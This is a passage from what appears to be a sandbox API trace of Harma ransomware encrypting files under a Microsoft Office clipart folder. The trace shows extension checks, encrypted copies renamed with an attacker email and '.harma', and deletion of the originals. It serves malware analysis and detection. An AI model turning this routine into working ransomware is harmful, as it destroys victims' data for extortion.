(lpString1=".docx", lpString2="_.WMF") returned -1 [0149.544] lstrlenW (lpString=".pdf") returned 4 [0149.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.544] lstrlenW (lpString=".xls") returned 4 [0149.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.544] lstrlenW (lpString=".xlsx") returned 5 [0149.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.544] lstrlenW (lpString=".ppt") returned 4 [0149.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.544] lstrlenW (lpString=".zip") returned 4 [0149.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.544] lstrlenW (lpString=".rar") returned 4 [0149.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.544] lstrlenW (lpString=".bz2") returned 4 [0149.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.544] lstrlenW (lpString=".7z") returned 3 [0149.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.544] lstrlenW (lpString=".dbf") returned 4 [0149.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString=".1cd") returned 4 [0149.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString=".jpg") returned 4 [0149.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString=".doc") returned 4 [0149.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString=".docx") returned 5 [0149.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.545] lstrlenW (lpString=".pdf") returned 4 [0149.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString=".xls") returned 4 [0149.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.545] lstrlenW (lpString=".xlsx") returned 5 [0149.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.545] lstrlenW (lpString=".ppt") returned 4 [0149.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString=".zip") returned 4 [0149.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.545] lstrlenW (lpString=".rar") returned 4 [0149.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString=".bz2") returned 4 [0149.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.545] lstrlenW (lpString=".7z") returned 3 [0149.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.545] lstrlenW (lpString=".dbf") returned 4 [0149.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.546] lstrlenW (lpString=".1cd") returned 4 [0149.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.546] lstrlenW (lpString=".jpg") returned 4 [0149.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.546] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.546] lstrlenW (lpString="DD00297_.WMF") returned 12 [0149.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.546] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=40030) returned 1 [0149.546] CloseHandle (hObject=0x334) returned 1 [0149.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0149.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.547] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.547] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0149.547] GetLastError () returned 0x0 [0149.547] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0149.550] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0149.551] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.551] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.551] SetEndOfFile (hFile=0x350) returned 1 [0149.551] CloseHandle (hObject=0x350) returned 1 [0149.551] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.552] SetEndOfFile (hFile=0x334) returned 1 [0149.554] CloseHandle (hObject=0x334) returned 1 [0149.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.555] lstrlenW (lpString=".doc") returned 4 [0149.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.555] lstrlenW (lpString=".docx") returned 5 [0149.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.555] lstrlenW (lpString=".pdf") returned 4 [0149.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.555] lstrlenW (lpString=".xls") returned 4 [0149.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.555] lstrlenW (lpString=".xlsx") returned 5 [0149.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.555] lstrlenW (lpString=".ppt") returned 4 [0149.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.555] lstrlenW (lpString=".zip") returned 4 [0149.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.556] lstrlenW (lpString=".rar") returned 4 [0149.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.556] lstrlenW (lpString=".bz2") returned 4 [0149.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.556] lstrlenW (lpString=".7z") returned 3 [0149.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.556] lstrlenW (lpString=".dbf") returned 4 [0149.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.556] lstrlenW (lpString=".1cd") returned 4 [0149.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.602] lstrlenW (lpString=".jpg") returned 4 [0149.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.602] lstrlenW (lpString=".doc") returned 4 [0149.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.602] lstrlenW (lpString=".docx") returned 5 [0149.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.602] lstrlenW (lpString=".pdf") returned 4 [0149.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.602] lstrlenW (lpString=".xls") returned 4 [0149.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.602] lstrlenW (lpString=".xlsx") returned 5 [0149.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.603] lstrlenW (lpString=".ppt") returned 4 [0149.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.603] lstrlenW (lpString=".zip") returned 4 [0149.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.603] lstrlenW (lpString=".rar") returned 4 [0149.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.607] lstrlenW (lpString=".bz2") returned 4 [0149.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.607] lstrlenW (lpString=".7z") returned 3 [0149.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.608] lstrlenW (lpString=".dbf") returned 4 [0149.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.608] lstrlenW (lpString=".1cd") returned 4 [0149.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0149.609] lstrlenW (lpString=".jpg") returned 4 [0149.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.609] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.609] lstrlenW (lpString="DD00372_.WMF") returned 12 [0149.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.978] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=792) returned 1 [0149.978] CloseHandle (hObject=0x344) returned 1 [0149.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0150.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.001] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.001] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.002] GetLastError () returned 0x0 [0150.002] ReadFile (in: hFile=0x344, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x318, lpOverlapped=0x0) returned 1 [0150.007] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x320, lpOverlapped=0x0) returned 1 [0150.008] ReadFile (in: hFile=0x344, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.008] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.025] SetEndOfFile (hFile=0x2e8) returned 1 [0150.025] CloseHandle (hObject=0x2e8) returned 1 [0150.025] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.025] SetEndOfFile (hFile=0x344) returned 1 [0150.027] CloseHandle (hObject=0x344) returned 1 [0150.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0150.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.076] lstrlenW (lpString=".doc") returned 4 [0150.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString=".docx") returned 5 [0150.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.077] lstrlenW (lpString=".pdf") returned 4 [0150.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString=".xls") returned 4 [0150.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.077] lstrlenW (lpString=".xlsx") returned 5 [0150.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.077] lstrlenW (lpString=".ppt") returned 4 [0150.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString=".zip") returned 4 [0150.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.077] lstrlenW (lpString=".rar") returned 4 [0150.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString=".bz2") returned 4 [0150.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString=".7z") returned 3 [0150.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString=".dbf") returned 4 [0150.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString=".1cd") returned 4 [0150.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString=".jpg") returned 4 [0150.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.077] lstrlenW (lpString=".doc") returned 4 [0150.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString=".docx") returned 5 [0150.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.078] lstrlenW (lpString=".pdf") returned 4 [0150.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString=".xls") returned 4 [0150.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.078] lstrlenW (lpString=".xlsx") returned 5 [0150.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.078] lstrlenW (lpString=".ppt") returned 4 [0150.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.078] lstrlenW (lpString=".zip") returned 4 [0150.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.078] lstrlenW (lpString=".rar") returned 4 [0150.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString=".bz2") returned 4 [0150.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString=".7z") returned 3 [0150.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.078] lstrlenW (lpString=".dbf") returned 4 [0150.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.078] lstrlenW (lpString=".1cd") returned 4 [0150.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0150.078] lstrlenW (lpString=".jpg") returned 4 [0150.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.078] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.079] lstrlenW (lpString="DD00413_.WMF") returned 12 [0150.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.093] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=42992) returned 1 [0150.093] CloseHandle (hObject=0x21c) returned 1 [0150.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0150.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.356] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.356] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.356] GetLastError () returned 0x0 [0150.356] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0150.387] WriteFile (in: hFile=0x378, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xa800, lpOverlapped=0x0) returned 1 [0150.388] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.388] WriteFile (in: hFile=0x378, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.388] SetEndOfFile (hFile=0x378) returned 1 [0150.389] CloseHandle (hObject=0x378) returned 1 [0150.389] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.389] SetEndOfFile (hFile=0x360) returned 1 [0150.392] CloseHandle (hObject=0x360) returned 1 [0150.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0150.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString=".doc") returned 4 [0150.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString=".docx") returned 5 [0150.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.393] lstrlenW (lpString=".pdf") returned 4 [0150.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString=".xls") returned 4 [0150.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.393] lstrlenW (lpString=".xlsx") returned 5 [0150.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.393] lstrlenW (lpString=".ppt") returned 4 [0150.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0150.393] lstrlenW (lpString=".zip") returned 4 [0150.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 